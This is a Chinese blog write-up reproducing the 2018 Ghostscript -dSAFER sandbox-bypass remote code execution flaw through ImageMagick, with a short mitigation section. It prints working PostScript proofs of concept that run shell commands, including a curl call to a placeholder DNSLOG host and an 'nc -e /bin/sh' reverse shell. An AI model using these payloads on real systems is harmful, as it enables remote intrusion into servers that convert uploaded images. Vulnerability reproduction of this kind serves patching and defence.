1. 程式人生 > >ghostscript遠程代碼執行漏洞復現

ghostscript遠程代碼執行漏洞復現

centos7 gate ibm batch otl htm 報錯 驗證 分享

這兩天網上ghostscript又又有漏洞信息了,但是沒有poc,於是找找資料把今年8月21日的那個驗證下

1、關於ghostscript

Ghostscript是一套建基於Adobe、PostScript及可移植文檔格式(PDF)的頁面描述語言等而編譯成的免費軟件。 最初是以商業軟件形式在PC市場上發售,並稱之為“GoScript”。但由於速度太慢(半小時一版A4),銷量極差。後來有心人買下了版權,並改在Linux上開發,成為了今日的Ghostscript。 已經從Linux版本移植到其他操作系統,如其他Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic。
基於ghostscript的上遊應用有Imagemagick、libmagick、graphicsmagick、gimp、python-matplotlib、texlive-core、texmacs、latex2html、latex2rtf等 還是挺多的,2016年被披露的“魔圖”漏洞是就是imagemagick被暴露的漏洞; 8月21日Ghostscript被爆出包含多個-dSAFER沙箱繞過漏洞。-dSAFER是Ghostscript用於防止不安全PostScript操作的安全沙箱。此漏洞與2016年出現的沙箱繞過漏洞(CVE-2016-3714)類似,遠程未經身份驗證的攻擊者可通過多種PostScript操作來繞過-dSAFER提供的保護,在易受攻擊的系統上執行任意命令。ImageMagick等默認使用Ghostscript來處理PostScript內容的應用,將受到此漏洞影響。
2、漏洞信息   影響範圍 :<= 9.23(全版本,全平臺)   漏洞作者:Tavis Ormandy 3、漏洞復現   環境:     KALI 2018.02 rolling     ghostscript:GPL Ghostscript 9.22 (2017-10-04)     imagemagick未確認   POC信息    
 1 root@kali:~# cat test.jpg 
 2 %!PS
 3 userdict /setpagedevice undef
 4 save
 5 legal
 6 { null restore } stopped { pop } if
7 { legal } stopped { pop } if 8 restore 9 mark /OutputFile (%pipe%id) currentdevice putdeviceprops 10 root@kali:~# convert test.jpg test.gif 11 uid=0(root) gid=0(root) 組=0(root) 12 convert-im6.q16: FailedToExecuteCommand `gs -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r72x72 -g612x792 -sOutputFile=/tmp/magick-7925iEZJksvksDOI%d -f/tmp/magick-79250M4URvG5ediB -f/tmp/magick-7925ORuyFX7DkULt -c showpage (-1) @ error/delegate.c/ExternalDelegateCommand/462. 13 convert-im6.q16: no images defined `test.gif @ error/convert.c/ConvertImageCommand/3258. 14 root@kali:~#

使用DNSLOG獲取信息:

1 %!PS
2 userdict /setpagedevice undef
3 save
4 legal
5 { null restore } stopped { pop } if
6 { legal } stopped { pop } if
7 restore
8 mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops

技術分享圖片

技術分享圖片

反彈Shell信息:
1 %!PS
2 userdict /setpagedevice undef
3 save
4 legal
5 { null restore } stopped { pop } if
6 { legal } stopped { pop } if
7 restore
8 mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X 8080)) currentdevice putd
9 eviceprops

技術分享圖片 本來是準備用一個centos7的虛擬機來做環境測試,無奈一直報錯沒解決,可能已經攔截這些poc代碼了???
 1 [root@localhost ~]# convert test.jpeg poc.gif
 2 Error: /invalidaccess in --.putdeviceprops--
 3 Operand stack:
 4 
 5 Execution stack:
 6    %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1884   1   3   %oparray_pop   1883   1   3   %oparray_pop   1867   1   3   %oparray_pop   1755   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1753   4   3   %oparray_pop   --nostringval--   1734   4   3   %oparray_pop
 7 Dictionary stack:
 8    --dict:1172/1684(ro)(G)--   --dict:0/20(G)--   --dict:77/200(L)--
 9 Current allocation mode is local
10 Last OS error: No such file or directory
11 Current file position is 140
12 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
13 Error: /invalidaccess in --.putdeviceprops--
14 Operand stack:
15 
16 Execution stack:
17    %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1884   1   3   %oparray_pop   1883   1   3   %oparray_pop   1867   1   3   %oparray_pop   1755   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   1753   4   3   %oparray_pop   --nostringval--   1734   4   3   %oparray_pop
18 Dictionary stack:
19    --dict:1172/1684(ro)(G)--   --dict:0/20(G)--   --dict:77/200(L)--
20 Current allocation mode is local
21 Last OS error: No such file or directory
22 Current file position is 140
23 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
24 convert: Postscript delegate failed `test.jpeg: 沒有那個文件或目錄 @ error/ps.c/ReadPSImage/832.
25 convert: no images defined `poc.gif @ error/convert.c/ConvertImageCommand/3046.

4、註意事項:

kali因為是基於ubuntu的操作系統,所以這次的poc用的就是ubuntu版本的代碼;

Centos版本和ubuntu略不一樣,可嘗試如下代碼:

1 %!PS
2 userdict /setpagedevice undef
3 legal
4 { null restore } stopped { pop } if
5 legal
6 mark /OutputFile (%pipe%id) currentdevice putdeviceprops

5、修復

卸載???卸載是不可能的

使用ImageMagick,建議修改policy文件(默認位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):

這裏由於是使用Kali進行測試,路徑為 /etc/ImageMagick-6/policy.xml

技術分享圖片

再次測試:

技術分享圖片

ghostscript遠程代碼執行漏洞復現